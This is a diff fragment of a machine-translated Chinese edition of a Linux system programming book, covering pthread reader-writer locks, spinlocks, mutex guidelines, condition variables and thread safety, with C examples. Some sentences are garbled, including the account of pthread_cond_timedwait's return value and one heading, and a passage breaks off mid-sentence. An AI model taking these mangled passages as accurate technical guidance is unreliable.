-不过,请注意,在使用读取器-写入器锁时,应该仔细测试应用的性能;已经注意到,它的实现速度比通常的互斥锁慢。 此外,还有一个额外的担忧,即在负载下,读写器锁定语义可能会导致写入器饥饿。我认为:如果读者不断涌现,写入器线程可能需要等待很长时间才能获得锁。 - -显然,有了读写器锁,相反的动态也可能发生:读取器可能会饿死。有趣的是,Linux 提供了一个非常不可移植的 API,允许程序员指定要防止哪种类型的饥饿-读取器还是写入器-默认情况下是写入器挨饿。 要调用以设置此设置的 API 为`pthread_rwlockattr_setkind_np(3)`。 这允许根据您的特定工作负载进行一定程度的调优。 (然而,该实现显然仍然存在一个缺陷,实际上,编写器匮乏仍然是现实。 我们不打算进一步讨论这一点;如果需要进一步的帮助,读者可以参考手册页。) - -尽管如此,读取器-写入器锁变体通常很有用;想想那些需要经常扫描某些键值映射数据结构并执行某种类型的表查找的应用。 (例如,操作系统通常具有经常查找路由表但很少更新路由表的网络代码路径。)。 不变的是,所讨论的全局共享数据通常是从数据读取的,而很少是写入的。 - -# 自旋锁变种 - -这里重复一下:我们已经了解了互斥锁是如何正常工作的;如果锁已经被锁定,那么尝试获取锁将导致该线程阻塞(等待)解锁的发生。让我们更深入地挖掘一下;失败的线程究竟是如何阻塞-等待-互斥锁的解锁的呢? 答案是,对于互斥锁,它们是通过休眠进程(由操作系统调度离开 CPU)来完成的。事实上,这是进程互斥锁的定义属性之一。 - -另一方面,还有一种完全不同的锁-自旋锁(在 Linux 内核中非常常用),它的行为与之完全相反:它的工作方式是让失败的线程通过旋转(轮询)来等待解锁操作-嗯,现实情况是,实际的自旋锁实现比在这里听起来要精致和高效得多;不过,这个讨论远远超出了本书的范围。 乍一看,轮询似乎不是让失败的线程等待解锁的一种糟糕方式;它与自旋锁配合良好的原因是,在临界区内花费的时间肯定非常短(从技术上讲,少于执行两次上下文切换所需的时间),因此当临界区很小时,自旋锁的使用效率比互斥体高得多。 - -尽管 pthreads 的实现确实提供了自旋锁,但您应该清楚地了解以下几点: - -* 自旋锁仅供采用实时操作系统调度策略(SCHED_FIFO,可能还有 SCHED_RR;我们将在[第 17 章](17.html),*Linux 上的 CPU 调度*)的极高性能实时线程使用。 -* Linux 平台上的默认调度策略从来不是实时的;它是非实时的 SCHED_OTHER 策略,非常适合不确定的应用;使用互斥锁是可行的。 -* 在用户空间中使用自旋锁不被认为是正确的设计方法;此外,代码更容易受到死锁和(无界的)优先级反转场景的影响。 - -基于上述原因,我们不再深入研究以下 pthread 和 Spinlock API: - -* `pthread_spin_init(3)` -* `pthread_spin_lock(3)` -* `pthread_spin_trylock(3)` -* `pthread_spin_unlock(3)` -* `pthread_spin_destroy(3)` - -如果需要,一定要在它们各自的手册页中查找它们(但如果使用它们,也要加倍小心!) - -# 更多的互斥体使用指南 - -除了前面提供的提示和指南(请参阅*锁定指南*章节)外,还请考虑以下几点: - -* 一个人应该使用多少把锁? -* 对于许多锁实例,如何知道使用哪个锁变量以及何时使用呢? -* 测试互斥锁是否锁定。 - -让我们把这些要点逐一提出来。 - -在小型应用中(如此处所示),也许只使用一个锁来保护临界区就足够了;它的优点是使事情变得简单(这是一件大事)。 然而,在大型项目中,仅使用一个锁对可能遇到的每个临界区执行锁定都有可能成为主要的性能破坏者! 想想看为什么会发生这种情况:一旦代码中的任何地方命中一个互斥锁,所有并行都会停止,并且代码以序列化方式运行;如果这种情况发生得足够频繁,性能将会迅速下降。 - -Interestingly, the Linux kernel, for years, had a major performance headache precisely because of one lock that was being used throughout large cross sections of the codebase—so much so, that it was nicknamed the **big kernel lock** (**BKL**) (a giant lock). It was finally gotten rid of only in the 2.6.39 version of the Linux kernel (see the *Further reading* section on the GitHub repository for a link to more on the BKL). - -因此,虽然没有规则来确定应该使用多少锁,但启发式的做法是考虑简单性与性能之间的权衡。 作为提示,在大型生产质量项目(如 Linux 内核)中,我们通常使用单个锁来保护单个数据-即数据对象;通常,这只是一种数据结构。 这将确保全局数据在访问时受到保护,但只受实际访问它的代码路径的保护,而不是每个代码路径,从而确保数据安全和并行性(性能)。 - -好的,太好了。 现在,如果我们真的遵循这个指导方针,那么如果我们最终只有几百个锁呢!? (是的,在具有数百个全局数据结构的大型项目中,这是完全可能的。)。 现在,我们有了另一个实际问题:开发人员必须确保他们使用正确的锁来保护给定的数据结构(在访问数据结构 Y 的同时,使用锁 X 对数据结构 X 意味着什么? 这将是一个严重的缺陷)。 因此,一个实际问题是,我如何确定哪个数据结构受哪个锁保护,或者用另一种方式来说明:如何(我如何确定哪个锁变量保护哪个数据结构?)。 天真的解决办法就是给每把锁起一个合适的名字,也许是像`lock_`这样的名字。嗯,不像看起来那么简单! - -Informal polls have revealed that, often, one of the hardest things a programmer does is variable naming! (See the *Further reading* section on the GitHub repository for a link to this.) - -因此,这里有一个提示:将保护给定数据结构的锁嵌入到数据结构本身中;换句话说,使其成为其保护的数据结构的成员! (同样,Linux 内核经常使用这种方法。) - -# 互斥体锁定了吗? - -在某些情况下,开发人员可能会问:给定一个互斥体,我可以知道它是处于锁定状态还是解锁状态? 或许理由是:如果锁上了,我们就解锁吧。 - -有一种方法可以测试这一点:使用`pthread_mutex_trylock(3)`API。 如果它返回`EBUSY`,则意味着互斥当前被锁定(否则,它应该返回`0`,意味着它是解锁的)。 但是等等! 这里有一个固有的竞争条件;只要想一想就知道了: - -```sh -if (pthread_mutex_trylock(&mylock) != EBUSY)) { <-- time t1 - // it's unlocked <-- time t2 -} -// it's locked -``` - -当我们到达时间 t2 时,不能保证到目前为止,另一个线程没有锁定有问题的互斥体! 所以,这种做法是不正确的。 (实现这种同步的唯一现实方法是放弃通过互斥锁进行同步,而使用条件变量;这将在下一节中介绍。) - -关于互斥锁的(相当长的)报道到此结束。 在我们完成之前,我们想指出另一个有趣的地方:我们在前面已经说过,成为原子级意味着能够不间断地运行关键代码部分直到完成。 但现实是,我们的现代系统确实不会以(令人震惊的)规律性打断我们-硬件中断和异常是常态!因此,人们应该意识到: - -* 在用户空间,由于不可能屏蔽硬件中断,进程和线程不会在任何时间点因硬件中断而中断。 因此,用户空间代码基本上不可能是真正的原子代码。(但是,如果我们被硬件中断/故障/异常打断,那又怎么样呢? 他们将完成他们的工作,并将控制权交还给我们,这一切都非常迅速。 我们不太可能竞争,与这些代码实体共享全局可写数据)。 -* 然而,在内核空间中,我们以 OS 特权运行,实际上甚至可以屏蔽硬件中断,从而允许我们以真正的原子方式运行(您认为著名的 Linux 内核 Spinlock 是如何工作的?)。 - -现在我们已经介绍了用于锁定的典型 API,我们鼓励读者,第一,动手试用示例;第二,重温前面的章节,即*锁定准则*和*死锁*。 - -# 条件变量 - -CCV 是一种线程间事件通知机制。当我们使用互斥锁来同步(序列化)对临界区的访问,从而保护它时,我们使用条件变量来促进进程线程之间的高效通信-基于数据项的值进行同步。 下面的讨论将使这一点更加清楚。 - -在多线程应用的设计和实现中,经常会遇到这样的情况:一个线程 B 正在执行某些工作,而另一个线程 A 正在等待该工作的完成。 只有当线程 B 完成工作时,线程 A 才应该继续;我们如何在代码中有效地实现这一点? - -# 没有简历--天真的做法 - -您可能还记得,线程的退出状态(通过`pthread_exit(3)`)被传递回调用`pthread_join(3)`的线程;我们可以利用这个特性吗? 嗯,不是的:首先,一旦指定的工作完成,线程 B 不一定会终止(这可能只是一个里程碑,而不是它必须执行的所有工作),其次,即使它确实终止了,除了调用`pthread_join(3)`的线程之外,可能还有其他线程可能需要知道。 - -好的;为什么不让线程 A 在完成时通过简单的技术进行轮询,即在工作完成时让线程 B 将全局整数(称为`gWorkDone`)设置为 1(当然,还有让线程 A 对其进行轮询),在伪代码中可能类似于以下内容: - -| **时间** | **线程 B** | **线程 A** | -| T0 | 初始化:`gWorkDone = 0` | < common > | -| T1 期 | 完成这项工作..。 | `while (!gWorkDone) ;` | -| T2 | ..。 | ..。 | -| T3 | 已完成的工作;`gWorkDone = 1` | ..。 | -| T4 | | 检测到;中断循环并继续 | - -可能行得通,但不行。有何不可? - -* 首先,在一个变量上进行无限时间的轮询在 CPU 方面是非常昂贵的(这只是一个糟糕的设计)。 -* 第二,请注意,我们正在对一个完全共享的可写全局变量进行操作,而没有对其进行保护;*这正是将数据争用引入应用的方式,因此也就是将错误引入应用的方式。 - -因此,上表所示的方法被认为是幼稚的、低效的,甚至可能是错误的(Racy)。 - -# 使用条件变量 - -正确的方法是使用新的 CV。条件变量是线程可以高效地根据数据的值进行同步的一种方式。 它实现了与幼稚的轮询方法相同的最终结果,但以一种更有效、更重要的方式实现了这一点。 - -请查看下表: - -| **时间** | **线程 B** | **线程 A** | -| T0 | 初始化:gWorkDone=0;初始化{cv,mutex}对 | < common > | -| T1 期 | | 等待来自线程 B 的信号:锁定关联的互斥体;`pthread_cond_wait()` | -| T2 | 完成这项工作..。 | < ... blocking ... > | -| T3 | 工作完成; -锁定关联的互斥锁;信号线程 A:`pthread_cond_signal(`);解锁关联的互斥锁 | ...... | -| T4 | | 解锁;检查工作是否真的完成,如果是,解锁与其关联的互斥,然后继续... | - -虽然上表向我们展示了步骤的顺序,但仍需要一些解释。 在幼稚的方法中,我们看到其中一个(严重的)缺点是全局共享数据变量在没有保护的情况下被操纵! 条件变量通过要求条件变量始终与互斥锁相关联来解决这个问题;我们可以将其视为**{CV,互斥锁}对**。 - -这个想法很简单:每次我们打算使用全局谓词来告诉我们工作是否已经完成时(`gWorkDone`,在我们的示例中),我们锁定互斥体,读/写全局互斥体,解锁互斥体,因此--重要的是!--保护它。 - -CV 的美妙之处在于我们根本不需要轮询:等待工作完成的线程在该事件发生时使用`pthread_cond_wait(3)`阻塞(等待),并且已经完成工作的线程通过`pthread_cond_signal(3)`API“通知”对应的线程: - -```sh -int pthread_cond_wait(pthread_cond_t *restrict cond, - pthread_mutex_t *restrict mutex); -int pthread_cond_signal(pthread_cond_t *cond); -``` - -Though we use the word signal here, this has nothing to do with Unix/Linux signals and signaling that we covered in earlier [Chapters 11](11.html), *Signaling - Part I*, and [Chapter 12](12.html), *Signaling - II*. - -(请注意{cv,mutex}对是如何组合在一起的)。 当然,与线程一样,我们必须首先初始化 CV 及其关联的互斥锁;CV 可以通过以下方式静态初始化: - -`pthread_cond_t cond = PTHREAD_COND_INITIALIZER; ` - -或通过以下 API 动态(在运行时): - -```sh -int pthread_cond_init(pthread_cond_t *restrict cond, - const pthread_condattr_t *restrict attr); -``` - -如果要设置 CV 的特定非默认属性,可以通过`pthread_condattr_set*(3P)`API 进行设置,或者只需通过首先调用`pthread_condattr_init(3P)`API 并将已初始化的 CV 属性对象作为第二个参数传递给`pthread_cond_init(3P)`来将 CV 设置为默认值即可: - -`int pthread_condattr_init(pthread_condattr_t *attr);` - -相反,完成后,请使用以下 API 来销毁 CV 属性对象和 CV 本身: - -```sh -int pthread_condattr_destroy(pthread_condattr_t *attr); -int pthread_cond_destroy(pthread_cond_t *cond); -``` - -# 一个简单的 CV 使用演示应用 - -初始化/破坏太多了吗? 请看下面的简单代码(`ch15/cv_simple.c`),它将阐明它们的用法;我们将编写一个更小的程序来演示条件变量及其关联的互斥锁的用法。 在这里,我们创建了两个线程 A 和 B。然后,我们让线程 B 执行一些工作,线程 A 使用{cv,mutex}对在这些工作完成后进行同步: - -For readability, only key parts of the source code are displayed; to view the complete source code, build and run it. The entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -... -#define LOCK_MTX(mtx) do { \ - int ret=0; \ - if ((ret = pthread_mutex_lock(mtx))) \ - FATAL("pthread_mutex_lock failed! [%d]\n", ret); \ -} while(0) - -#define UNLOCK_MTX(mtx) do { \ - int ret=0; \ - if ((ret = pthread_mutex_unlock(mtx))) \ - FATAL("pthread_mutex_unlock failed! [%d]\n", ret); \ -} while(0) - -static int gWorkDone=0; -/* The {cv,mutex} pair */ -static pthread_cond_t mycv; -static pthread_mutex_t mycv_mutex = PTHREAD_MUTEX_INITIALIZER; -``` - -在前面的代码中,我们再次展示了实现互斥锁和解锁的宏、全局谓词(布尔)变量`gWorkDone`,当然还有{cv,mutex}对变量。 - -在下面的代码中,在 Main 中,我们初始化 CV 属性对象和 CV 本身: - -```sh -// Init a condition variable attribute object - if ((ret = pthread_condattr_init(&cvattr))) - FATAL("pthread_condattr_init failed [%d].\n", ret); - // Init a {cv,mutex} pair: condition variable & it's associated mutex - if ((ret = pthread_cond_init(&mycv, &cvattr))) - FATAL("pthread_cond_init failed [%d].\n", ret); - // the mutex lock has been statically initialized above. -``` - -创建工作线程 A 和 B 并开始它们的工作(我们在这里不重复显示线程创建的代码)。 在这里,您会发现线程 A 的工作例程-它必须等待线程 B 完成工作。 我们使用{cv,mutex}对轻松高效地实现这一点。 - -然而,该库确实要求应用保证在调用`pthread_cond_wait(3P)`API 之前,关联的互斥体锁定已被获取(锁定);否则,这将导致未定义的行为(或者当互斥体类型为非`PTHREAD_MUTEX_ERRORCHECK`或健壮的互斥体时,实际失败)。 一旦线程在 CV 上阻塞,互斥锁就会自动释放。 - -此外,如果在线程处于等待状态时发送信号,则应处理该信号并恢复等待;这还可能导致虚假唤醒的返回值为零(请立即详细介绍): - -```sh -static void * workerA(void *msg) -{ - int ret=0; - - LOCK_MTX(&mycv_mutex); - while (1) { - printf(" [thread A] : now waiting on the CV for thread B to finish...\n"); - ret = pthread_cond_wait(&mycv, &mycv_mutex); - // Blocking: associated mutex auto-released ... - if (ret) - FATAL("pthread_cond_wait() in thread A failed! [%d]\n", ret); - // Unblocked: associated mutex auto-acquired upon release from the condition wait... - - printf(" [thread A] : recheck the predicate (is the work really " - "done or is it a spurious wakeup?)\n"); - if (gWorkDone) - break; - printf(" [thread A] : SPURIOUS WAKEUP detected !!! " - "(going back to CV waiting)\n"); - } - UNLOCK_MTX(&mycv_mutex); - printf(" [thread A] : (cv wait done) thread B has completed it's work...\n"); - pthread_exit((void *)0); -} -``` - -理解这一点非常重要:仅仅从线程`pthread_cond_wait(3P)`返回并不一定意味着我们等待(阻塞)的条件-在本例中,线程 B 完成了工作-实际上发生了! 在软件中,可能会出现完全虚假的唤醒状态(由于其他事件-可能是信号而导致的虚假唤醒);健壮的软件会在循环中重新检查条件,以确定我们被唤醒的原因是正确的-在我们的情况下,工作确实已经完成。 这就是为什么我们在无限循环中运行,一旦解除对`pthread_cond_wait(3P)`的阻塞,就会检查全局整数`gWorkDone`是否真的具有我们期望的值(在本例中,1 表示工作完成)。 - -好的,但也要考虑到这一点:即使读取共享全局变量也会成为临界区(否则可能导致脏读取);因此,我们需要在执行此操作之前获取互斥锁。 啊,这就是{cv,mutex}配对的想法有一个内置的自动机制真正帮助我们的地方-当我们调用`pthread_cond_wait(3P)`的那一刻,相关的互斥锁被自动和原子地释放(解锁),然后我们阻塞条件变量信号。 当另一个线程(这里是 B)向我们发出信号时(显然是在同一个 CV 上),我们就会从`pthread_cond_wait(3P)`中解锁,并且与之关联的互斥锁将自动和原子锁定,从而允许我们重新检查全局(或其他)。 所以,我们做我们的工作,然后打开它。 - -以下是线程 B 的 Worker 例程的代码,该例程执行一些样本工作,然后向线程 A 发出信号: - -```sh -static void * workerB(void *msg) -{ - int ret=0; - - printf(" [thread B] : perform the 'work' now (first sleep(1) :-)) ...\n"); - sleep(1); - DELAY_LOOP('b', 72); - gWorkDone = 1; - - printf("\n [thread B] : work done, signal thread A to continue ...\n"); - /* It's not strictly required to lock/unlock the associated mutex - * while signalling; we do it here to be pedantically correct (and - * to shut helgrind up). - */ - LOCK_MTX(&mycv_mutex); - ret = pthread_cond_signal(&mycv); - if (ret) - FATAL("pthread_cond_signal() in thread B failed! [%d]\n", ret); - UNLOCK_MTX(&mycv_mutex); - pthread_exit((void *)0); -} -``` - -请注意详细说明了为什么我们在信号之前再次使用互斥锁的注释。 好的,让我们试一试(我们建议您构建并运行调试版本,因为这样延迟循环就会正确显示): - -```sh -$ ./cv_simple_dbg - [thread A] : now waiting on the CV for thread B to finish... - [thread B] : perform the 'work' now (first sleep(1) :-)) ... -bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb - [thread B] : work done, signal thread A to continue ... - [thread A] : recheck the predicate (is the work really done or is it a spurious wakeup?) - [thread A] : (cv wait done) thread B has completed it's work... -$ -``` - -API 还提供阻塞调用的超时变量: - -```sh -int pthread_cond_timedwait(pthread_cond_t *restrict cond, - pthread_mutex_t *restrict mutex, const struct timespec *restrict abstime); -``` - -语义与`pthread_cond_wait`相同,不同之处在于,如果第三个参数中指定的时间已经(已经)过去,则 API 返回(带故障值为 1`ETIMEDOUT`)。(如果已过了第三个参数中指定的时间,则返回`pthread_cond_wait`,不同之处在于 API 返回的故障值为 0`ETIMEDOUT`)。 用于测量经过的时间的时钟是 CV 的一个属性,可以通过 n`pthread_condattr_setclock(3P)`API 设置。 - -(`pthread_cond_wait`和`pthread_cond_timedwait`都是取消点;此主题将在下一章中讨论。) - -# CV 广播唤醒 - -正如我们之前看到的,`pthread_cond_signal(3P)`API 用于解锁在特定 CV 上被阻塞的线程。 该接口的变体如下: - -`int pthread_cond_broadcast(pthread_cond_t *cond);` - -此 API 允许您解除对同一 CV 上阻塞的多个线程的阻塞。例如,如果我们在同一 CV 上有三个线程阻塞;当应用调用线程`pthread_cond_broadcast(3P)`时,哪个线程将首先运行? 嗯,这就像在问,当创建线程时,哪个线程将首先运行(回想一下上一章中的讨论)。 当然,答案是,在没有特定的调度策略的情况下,它是不确定的。 当应用于 CV 解锁并在 CPU 上运行时,同样的答案也适用于这个问题。 - -要继续,一旦等待的线程被解锁,请回想一下,关联的互斥体将被获取,但当然只有一个被解锁的线程会首先获得它。 同样,这取决于调度策略和优先级。 在所有默认情况下,它仍然不确定哪个线程首先获取它。 在任何情况下,在没有实时特征的情况下,这对应用应该无关紧要(如果应用是实时的,那么请阅读我们的文章[第 17 章](17.html),*Linux 上的 CPU 调度*,以及首先在每个应用线程上设置实时调度策略和优先级)。 - -此外,这些 API 的手册页面清楚地说明,尽管调用前面的 API 的线程(`pthread_cond_signal`和`pthread_cond_broadcast`)在执行此操作时并不要求您持有关联的互斥锁(回想一下,我们总是有一对{CV,mutex}),但严格纠正语义要求它们确实持有互斥,执行信号或广播,然后解锁互斥锁(我们的示例应用,`ch15/cv_simple.c`,它确实遵循这个指导原则)。 - -为了让这篇关于简历的讨论更加完整,这里有几个小贴士: - -* 不要在信号处理程序中使用条件变量方法;代码不被认为是异步信号安全的(回想一下前面的[第 11 章](11.html)、*信号-第 I 部分*和[第 12 章](12.html)、*信号-第 II 部分*)。 -* 使用著名的 Valgrind 工具套件(回想一下,我们在第[章](06.html),*中介绍了 Valgrind 的 Memcheck 工具以解决内存问题*),特别是名为 dhelgrind 的工具,对于检测 p 线程和多线程应用中的同步错误(数据竞争)非常有用(有时)。 用法很简单: - `$ valgrind --tool=helgrind [-v] [app-params ...]`: - * 不过,与许多此类工具一样,helgrind 经常会引发许多误报。 例如,我们发现消除我们之前编写的`cv_simple`应用中的`printf(3)`会从 Helgrind 中移除大量(误报)错误和警告! - * 在调用`pthread_cond_signal`函数和/或`pthread_cond_broadcast`函数 API 之前,如果没有首先获取与之关联的互斥锁函数(这不是必需的),则 Helgrind 会抱怨。 - -一定要尝试 helgrind Out(同样,GitHub 存储库上的*进一步阅读*部分有一个指向其(非常好的)文档的链接)。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -本章首先介绍了并发性、原子性等关键概念,以及识别临界区并对其进行保护的必要性。锁定是实现这一点的典型方法;pthreadAPI 提供了强大的互斥锁来实现这一点。 然而,使用锁,特别是在大型项目中,充满了隐藏的问题和危险--我们讨论了有用的*锁定准则*、*死锁*和*及其避免*。 - -然后,本章继续指导读者使用 pthread 和互斥锁。 这里涵盖了大量内容,包括各种互斥锁属性、认识和避免优先级反转问题的重要性以及互斥锁的变化。 最后,我们介绍了环境条件变量(CV)的需求和用法,以及如何使用它来高效地促进线程间事件通知。 - -下一章是这个关于多线程的三部曲中的最后一章;在其中,我们将集中讨论线程安全(和线程安全 API)、线程取消和清理、与 MT 混合信号、一些常见问题和提示等重要问题,并看看多进程模型与传统多线程模型的优缺点。** \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/16.md b/docs/handson-sys-prog-linux/16.md deleted file mode 100644 index 4928c721..00000000 --- a/docs/handson-sys-prog-linux/16.md +++ /dev/null @@ -1,933 +0,0 @@ -# 十六、多线程技术——第三部分 - -在[第 14 章](14.html)、*和*多线程部分第一部分-要点**、*和[第 15 章](15.html)、*多线程第二部分-同步*中介绍了编写强大的**多线程**(**MT**)应用的许多原因和方法,本章重点介绍了几个关键问题* - -它揭示了开发安全和健壮的 MT 应用的许多关键安全方面;在这里,读者将了解线程安全、为什么需要线程安全,以及如何使函数成为线程安全的。 在运行时,可以让一个线程杀死另一个线程;这是通过线程取消机制实现的-除了取消之外,如何确保在终止线程之前,首先确保它释放它仍然持有的所有资源(如锁和动态内存)? 我们介绍了线程清理处理程序来说明这一点。 - -最后,本章深入探讨了如何安全地混合多线程和信号,多进程和多线程的一些优缺点,以及一些提示和常见问题。 - -# 线程安全 - -在开发多线程应用时,一个关键的问题是线程安全,但不幸的是,这个问题往往不是一个明显的问题。 **线程安全*,或者,就像手册页上描述的那样,它是一个可以由多个线程安全地并行执行的函数或 API,没有任何不利的问题。* - - *要了解这个线程安全问题到底是什么,让我们回到我们在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf),*文件 I/O 要点;*中看到的程序之一。您可以在本书的 GitHub 存储库中找到源代码:https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/blob/master/A_fileio/iobuf.c[GitHub](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/blob/master/A_fileio/iobuf.c)。 在本程序中,我们使用`fopen(3)`*和*在追加模式下打开一个文件,然后对其执行一些 I/O(读/写)操作;我们在这里复制该章的一小段: - -* 我们`fopen(3)`一个流(追加模式:`a`)到我们的目的地,只是`/tmp`目录中的一个常规文件(如果它不存在,它将被创建) -* 然后,在循环中,对于用户提供的作为参数的迭代次数,我们将执行以下操作: - * 通过`fread(3)`stdio 库 API 从源流读取几(512)个字节(它们将是随机的值) - * 通过`fwrite(3)`stdio 库 API 将这些值写入我们的目标流(检查 EOF 和/或错误条件) - -以下是代码片段,主要是执行实际 I/O 的`testit`函数;请参阅:: - -```sh -static char *gbuf = NULL; - -static void testit(FILE * wrstrm, FILE * rdstrm, int numio) -{ - int i, syscalls = NREAD*numio/getpagesize(); - size_t fnr=0; - - if (syscalls <= 0) - syscalls = 1; - VPRINT("numio=%d total rdwr=%u expected # rw syscalls=%d\n", - numio, NREAD*numio, NREAD*numio/getpagesize()); - - for (i = 0; i < numio; i++) { - fnr = fread(gbuf, 1, NREAD, rdstrm); - if (!fnr) - FATAL("fread on /dev/urandom failed\n"); - - if (!fwrite(gbuf, 1, fnr, wrstrm)) { - free(gbuf); - if (feof(wrstrm)) - return; - if (ferror(wrstrm)) - FATAL("fwrite on our file failed\n"); - } - } -} -``` - -请注意第一行代码,它对我们的讨论非常重要;用于保存源和目标数据的内存缓冲区是一个完全全局(静态)变量`gbuf`。 - -下面是它在 APP 的`main()`功能中的分配位置: - -```sh -... - gbuf = malloc(NREAD); - if (!gbuf) - FATAL("malloc %zu failed!\n", NREAD); -... -``` - -那又怎么样? 在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf)、*File I/O Essentials*中,我们使用了一个隐含的假设,即进程不是单线程的;因此,只要这个假设仍然成立,程序就会运行良好。 但请仔细考虑这一点;当我们想要移植此程序以使其具有多线程功能时,代码还不够好。 为什么? 应该很清楚:如果多个线程同时执行`testit`*和*函数的代码(这正是预期的),那么全局共享可写内存变量`gbuf`的存在告诉我们代码路径中将有临界区。 *正如我们在[第 15 章](15.html),*使用 PthreadsII 部分-同步*进行多线程处理中详细了解的那样,必须消除或保护每个临界区,以防止数据竞争。* - - *在前面的代码片段中,我们愉快地调用了这个全局缓冲区上的`fread(3)`*和`fwrite(3)`*和*,而没有任何保护*。*只需可视化同时运行此代码路径的多个线程;结果将是灾难性的。* - - *因此,现在我们可以看到并得出结论:`testit`函数不是线程安全的*和*(至少,程序员必须记录*和*这一事实,以防止其他人在多线程应用中使用代码!)。 - -更糟糕的是,想象一下,我们之前开发的线程不安全的文件函数被合并到一个完全共享的文件库中(在 Unix/Linux 上通常被称为完全共享的对象和文件); 任何链接到这个库的(多线程)应用都可以访问这个函数。如果这样一个应用的多个线程调用它,我们就会有一个潜在的竞争-一个错误,一个缺陷!不仅如此,这样的缺陷是真正难以发现和难以理解的,会造成问题,可能还会造成各种临时的绷带修复(这只会让情况变得更糟,客户对软件的信心更低)。灾难实际上是以看似无害的方式造成的。 - -关于这一点,我们的结论是要么使函数线程安全,要么清楚地将其记录为线程不安全(并且仅在单线程上下文中使用它(如果有的话))。 - -# 使代码线程安全 - -显然,我们更希望使`testit`函数*和*是线程安全的。 现在的问题是,我们到底如何才能做到这一点呢? 再说一次,这很简单:有两种方法(实际上不止两种,但我们稍后再谈)。 - -如果我们能消除代码路径中的任何和所有全局共享可写数据,我们就没有临界区,也就没有问题;换句话说,它就变得线程安全了。 因此,实现这一点的一种方法是确保函数只使用局部(自动)变量。 在继续下一步之前,了解有关可重入和线程安全的一些关键点是很重要的。 - -# 重入安全与线程安全 - -重入安全和线程安全到底有什么不同? 混乱确实盛行。 这里有一个简洁的观点:在多任务和多线程操作系统出现之前,重入安全问题是一个更古老的问题,这意味着只有一个令人担忧的线程正在执行。 要使函数是重入安全的,应该能够在前一个上下文尚未完成执行时从另一个上下文正确地重新调用该函数(考虑信号处理程序在给定函数已经执行时重新调用该函数)。 关键要求:它应该只使用局部变量,或者有能力保存和恢复它使用的全局变量,这样它就是安全的。 (这些想法已在*重入安全和信号*部分的[第 11 章](11.html),*信号-第一部分*中讨论。 正如我们在那一章中提到的,信号处理程序应该只调用保证重入安全的函数;在信号处理上下文中,这些函数被称为异步信号安全函数。) - -另一方面,线程安全问题是一个更新的问题-我们指的是支持多线程的现代操作系统。 线程安全的函数可以同时从多个线程(可能在多个 CPU 核心上运行)并行调用,而不会中断它。 共享的可写数据是重要的,因为在任何情况下,代码都只是可读的,可以执行,因此并行执行是完全安全的。 - -通过使用互斥锁使函数线程安全确实是可能的(这些讨论将通过示例详细介绍),但会带来性能问题。 有更好的方法使函数线程安全:重构它,或者使用 TLS 或 TSD-我们将在通过 TLS 的*线程安全和通过 TSD*的*线程安全一节中讨论这些方法。* - -简而言之,重入安全策略关注的是一个线程在活动调用仍然存在的情况下重新调用函数;线程安全策略关注的是多个线程-并发代码-并行执行相同的函数。 (一篇优秀的 Stack Overflow 帖子更详细地描述了这一点;请参阅有关 GitHub 存储库的*进一步阅读*部分。) - -现在,回到我们之前的讨论。从理论上讲,只使用局部变量听起来不错(对于小的实用函数,我们应该这样设计它),但现实是,有一些复杂的项目以这样的方式发展,在函数中使用全局共享可写数据对象成为不能总是避免的事情。 在这种情况下,从我们在上一篇[第 15 章](15.html),*使用 Pthread 多线程第二部分-同步*中了解到的关于同步的知识,我们知道了答案:使用互斥锁来识别和保护临界区。 - -是的,这是可行的,但会对性能造成很大的影响。 请记住,锁会破坏并行性并序列化代码流,从而造成瓶颈。 在不使用互斥锁的情况下实现线程安全实际上构成了一个真正安全的重入安全函数*。* 这样的代码确实是一件有用的事情,而且是可以做到的;有两种强大的技术可以实现这一点,称为 TLS*、*和 TSD。 *请稍加耐心,我们将在本节中介绍如何使用:通过 TLS 实现的*线程安全和通过 TSD*实现的*线程安全。** - -*A point to emphasize: the designer and programmer must guarantee that all code that can be executed by multiple threads at any point in time is designed, implemented, tested, and documented to be thread-safe.This is one of the key challenges to meet when designing and implementing multithreaded applications. - -另一方面,如果可以保证函数总是只由单个线程执行(例如,在创建线程之前从 main()*和*调用的早期初始化例程),那么显然没有必要保证它是线程安全的。 - -# 汇总表-使函数线程安全的方法 - -让我们以表格的形式总结前面的几点,该表格告诉我们如何实现所有函数的线程安全这一最重要的目标: - -| **使函数线程安全的方法** | **备注** | -| 仅使用局部变量 | 幼稚的;在实践中很难实现的。 | -| 使用全局变量和/或静态变量,并使用互斥锁保护临界区 | 可行,但会显著影响性能[1] | -| 重构函数,使其成为可重入的-安全的-通过根据需要使用更多参数来消除在函数中使用静态变量 | 有用的方法-几个旧的`foo`glibc 函数被重构为`foo_r`。 | -| **线程本地存储**(**TLS**) | 通过每个线程拥有一个变量副本来确保线程安全;工具链和操作系统版本相关。 功能强大,使用方便。 | -| **线程特定数据**(**TSD**) | 同样的目标:使数据线程安全--更老的实现,更多的工作可用。 | - -Table 1: Approaches to making functions thread-safe - -[1]虽然我们说使用互斥锁会显著影响性能,但在正常情况下,互斥锁的性能确实非常高(很大程度上是因为它在 Linux 上通过快速 Futex 用户互斥锁在内部实现)。 - -让我们更详细地了解这些方法。 - -第一种方法只使用局部变量,这是一种相当幼稚的方法,可能只适用于小程序;我们就到此为止吧。 - -# 通过互斥锁实现线程安全 - -假设一个函数确实使用全局变量和/或静态变量,并且决定继续使用它们(我们在*表 1*中提到的第二种方法),显然代码中使用它们的位置构成了临界区*。*如[第 15 章](15.html),*多线程使用 PthreadsPart II-Synchronization*已经详细说明,我们必须*保护*这些临界区;在这里,我们使用 pt4[第 15 章](15.html),*使用 PthreadsPart II-Synchronization*,我们必须*保护*这些临界区;在这里,我们使用 pt3 - -For readability, only key parts of the source code are displayed here; to view the complete source code, build and run it, the entire tree is available for cloning from GitHub: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - 